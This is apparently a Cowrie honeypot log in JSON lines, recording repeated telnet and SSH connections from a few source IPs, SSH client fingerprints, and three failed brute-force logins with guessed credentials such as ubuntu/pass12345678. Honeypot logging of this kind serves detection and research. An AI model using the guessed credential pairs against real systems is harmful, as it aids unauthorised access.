{"eventid":"cowrie.session.closed","duration":40.21093249320984,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:23.764819Z","src_ip":"23.254.167.244","session":"d69345c27408","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.59264397621155,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:24.683862Z","src_ip":"209.159.146.115","session":"c25b14b67cf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53120,"dst_ip":"159.203.135.109","dst_port":23,"session":"795ec5cbc24f","protocol":"telnet","message":"New connection: 209.159.146.115:53120 (159.203.135.109:23) [session: 795ec5cbc24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:25.396059Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40862,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bb5ec117f23","protocol":"telnet","message":"New connection: 23.254.167.244:40862 (159.203.135.109:23) [session: 3bb5ec117f23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:27.455667Z"}
{"eventid":"cowrie.session.closed","duration":39.81560444831848,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:27.545758Z","src_ip":"23.254.167.244","session":"f45e2bf30d3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":41596,"dst_ip":"159.203.135.109","dst_port":23,"session":"c63b255e0cd9","protocol":"telnet","message":"New connection: 23.254.167.244:41596 (159.203.135.109:23) [session: c63b255e0cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:28.042215Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":52656,"dst_ip":"159.203.135.109","dst_port":22,"session":"7405b4c21838","protocol":"ssh","message":"New connection: 186.13.24.118:52656 (159.203.135.109:22) [session: 7405b4c21838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:28.531507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:28.534860Z","src_ip":"186.13.24.118","session":"7405b4c21838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:28.703295Z","src_ip":"186.13.24.118","session":"7405b4c21838","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass12345678","message":"login attempt [ubuntu/pass12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:29.403173Z","src_ip":"186.13.24.118","session":"7405b4c21838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:30.577177Z","src_ip":"186.13.24.118","session":"7405b4c21838","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.74076962471008,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:30.791414Z","src_ip":"209.159.146.115","session":"19d328406478","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.41007661819458,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:32.363341Z","src_ip":"209.159.146.115","session":"b76e63a1ac86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49968,"dst_ip":"159.203.135.109","dst_port":23,"session":"873600abf6d9","protocol":"telnet","message":"New connection: 209.159.146.115:49968 (159.203.135.109:23) [session: 873600abf6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:32.502864Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48944,"dst_ip":"159.203.135.109","dst_port":23,"session":"95deca027432","protocol":"telnet","message":"New connection: 209.159.146.115:48944 (159.203.135.109:23) [session: 95deca027432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:38.438077Z"}
{"eventid":"cowrie.session.closed","duration":36.76589584350586,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:38.674715Z","src_ip":"209.159.146.115","session":"43df334b9078","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.388484477996826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:38.684060Z","src_ip":"209.159.146.115","session":"129690e5d0dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60636,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b6befeb47bb","protocol":"telnet","message":"New connection: 23.254.167.244:60636 (159.203.135.109:23) [session: 3b6befeb47bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:39.861112Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58436,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7340ad3746e","protocol":"telnet","message":"New connection: 209.159.146.115:58436 (159.203.135.109:23) [session: a7340ad3746e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:40.017967Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33090,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b898079048e","protocol":"telnet","message":"New connection: 209.159.146.115:33090 (159.203.135.109:23) [session: 4b898079048e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:40.868670Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33988,"dst_ip":"159.203.135.109","dst_port":23,"session":"901d378aa4a6","protocol":"telnet","message":"New connection: 23.254.167.244:33988 (159.203.135.109:23) [session: 901d378aa4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:40.882575Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38444,"dst_ip":"159.203.135.109","dst_port":23,"session":"73f5c9c79b20","protocol":"telnet","message":"New connection: 209.159.146.115:38444 (159.203.135.109:23) [session: 73f5c9c79b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:42.561148Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36102,"dst_ip":"159.203.135.109","dst_port":23,"session":"829a19948cfb","protocol":"telnet","message":"New connection: 23.254.167.244:36102 (159.203.135.109:23) [session: 829a19948cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:42.958720Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60924,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f2d21f9d50a","protocol":"telnet","message":"New connection: 23.254.167.244:60924 (159.203.135.109:23) [session: 2f2d21f9d50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:43.002224Z"}
{"eventid":"cowrie.session.closed","duration":32.88616895675659,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:43.835395Z","src_ip":"23.254.167.244","session":"6d677e5f7bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37126,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ac1b990265a","protocol":"telnet","message":"New connection: 23.254.167.244:37126 (159.203.135.109:23) [session: 9ac1b990265a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:44.796776Z"}
{"eventid":"cowrie.session.closed","duration":32.79924464225769,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:45.211653Z","src_ip":"209.159.146.115","session":"969617945a0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":56846,"dst_ip":"159.203.135.109","dst_port":22,"session":"01336602c420","protocol":"ssh","message":"New connection: 157.66.34.121:56846 (159.203.135.109:22) [session: 01336602c420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:45.293890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:45.298804Z","src_ip":"157.66.34.121","session":"01336602c420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:45.531397Z","src_ip":"157.66.34.121","session":"01336602c420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"741852","message":"login attempt [test/741852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:46.490620Z","src_ip":"157.66.34.121","session":"01336602c420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55460,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a71b625470f","protocol":"telnet","message":"New connection: 209.159.146.115:55460 (159.203.135.109:23) [session: 7a71b625470f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:47.424954Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:47.725142Z","src_ip":"157.66.34.121","session":"01336602c420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37434,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f6a91f60b57","protocol":"telnet","message":"New connection: 209.159.146.115:37434 (159.203.135.109:23) [session: 8f6a91f60b57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:49.821856Z"}
{"eventid":"cowrie.session.closed","duration":33.42508363723755,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:50.221496Z","src_ip":"209.159.146.115","session":"7eac9abf5d00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38508439064026,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:50.562620Z","src_ip":"209.159.146.115","session":"b7537ec15ccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54008,"dst_ip":"159.203.135.109","dst_port":23,"session":"0db443a33482","protocol":"telnet","message":"New connection: 209.159.146.115:54008 (159.203.135.109:23) [session: 0db443a33482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:53.512928Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49434,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d992d083be","protocol":"telnet","message":"New connection: 23.254.167.244:49434 (159.203.135.109:23) [session: 04d992d083be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:53.578427Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60194,"dst_ip":"159.203.135.109","dst_port":23,"session":"e45e3814bbd9","protocol":"telnet","message":"New connection: 209.159.146.115:60194 (159.203.135.109:23) [session: e45e3814bbd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:54.976718Z"}
{"eventid":"cowrie.session.closed","duration":35.3856885433197,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:02:58.804856Z","src_ip":"209.159.146.115","session":"ab6f250963ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.90736961364746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:00.303345Z","src_ip":"209.159.146.115","session":"795ec5cbc24f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57833456993103,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:01.033913Z","src_ip":"23.254.167.244","session":"3bb5ec117f23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59884,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c582f64f62c","protocol":"telnet","message":"New connection: 209.159.146.115:59884 (159.203.135.109:23) [session: 0c582f64f62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:01.088041Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40306,"dst_ip":"159.203.135.109","dst_port":23,"session":"aada55130e52","protocol":"telnet","message":"New connection: 209.159.146.115:40306 (159.203.135.109:23) [session: aada55130e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:02.656556Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51156,"dst_ip":"159.203.135.109","dst_port":22,"session":"8521c02b5eea","protocol":"ssh","message":"New connection: 159.203.92.129:51156 (159.203.135.109:22) [session: 8521c02b5eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:02.770452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:02.775109Z","src_ip":"159.203.92.129","session":"8521c02b5eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:02.779540Z","src_ip":"159.203.92.129","session":"8521c02b5eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angnai","password":"1234","message":"login attempt [angnai/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:02.797866Z","src_ip":"159.203.92.129","session":"8521c02b5eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:03.803973Z","src_ip":"159.203.92.129","session":"8521c02b5eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.96965718269348,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:07.472424Z","src_ip":"209.159.146.115","session":"873600abf6d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43944,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c20fc1f1923","protocol":"telnet","message":"New connection: 23.254.167.244:43944 (159.203.135.109:23) [session: 9c20fc1f1923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:08.742712Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44986,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b0d15c41c5e","protocol":"telnet","message":"New connection: 23.254.167.244:44986 (159.203.135.109:23) [session: 7b0d15c41c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:09.741308Z"}
{"eventid":"cowrie.session.closed","duration":42.812461376190186,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:10.854576Z","src_ip":"23.254.167.244","session":"c63b255e0cd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.166969060897827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:11.049453Z","src_ip":"23.254.167.244","session":"901d378aa4a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19881558418274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:11.059804Z","src_ip":"23.254.167.244","session":"3b6befeb47bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47558,"dst_ip":"159.203.135.109","dst_port":23,"session":"62454c955a60","protocol":"telnet","message":"New connection: 23.254.167.244:47558 (159.203.135.109:23) [session: 62454c955a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:11.722375Z"}
{"eventid":"cowrie.session.closed","duration":32.83132767677307,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:13.699865Z","src_ip":"209.159.146.115","session":"4b898079048e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.67887544631958,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:15.239927Z","src_ip":"209.159.146.115","session":"73f5c9c79b20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.47103762626648,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:15.488893Z","src_ip":"209.159.146.115","session":"a7340ad3746e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.12187933921814,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:15.559856Z","src_ip":"209.159.146.115","session":"95deca027432","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55216145515442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:16.348838Z","src_ip":"23.254.167.244","session":"9ac1b990265a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35584,"dst_ip":"159.203.135.109","dst_port":23,"session":"22cc1abbf51f","protocol":"telnet","message":"New connection: 209.159.146.115:35584 (159.203.135.109:23) [session: 22cc1abbf51f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:16.431430Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39894,"dst_ip":"159.203.135.109","dst_port":23,"session":"c425d61dde8f","protocol":"telnet","message":"New connection: 209.159.146.115:39894 (159.203.135.109:23) [session: c425d61dde8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:17.574989Z"}
{"eventid":"cowrie.session.closed","duration":31.0028874874115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:18.427747Z","src_ip":"209.159.146.115","session":"7a71b625470f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.903745889663696,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:18.862388Z","src_ip":"23.254.167.244","session":"829a19948cfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.5696234703064,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:03:19.571745Z","src_ip":"23.254.167.244","session":"2f2d21f9d50a","protocol":"telnet"}
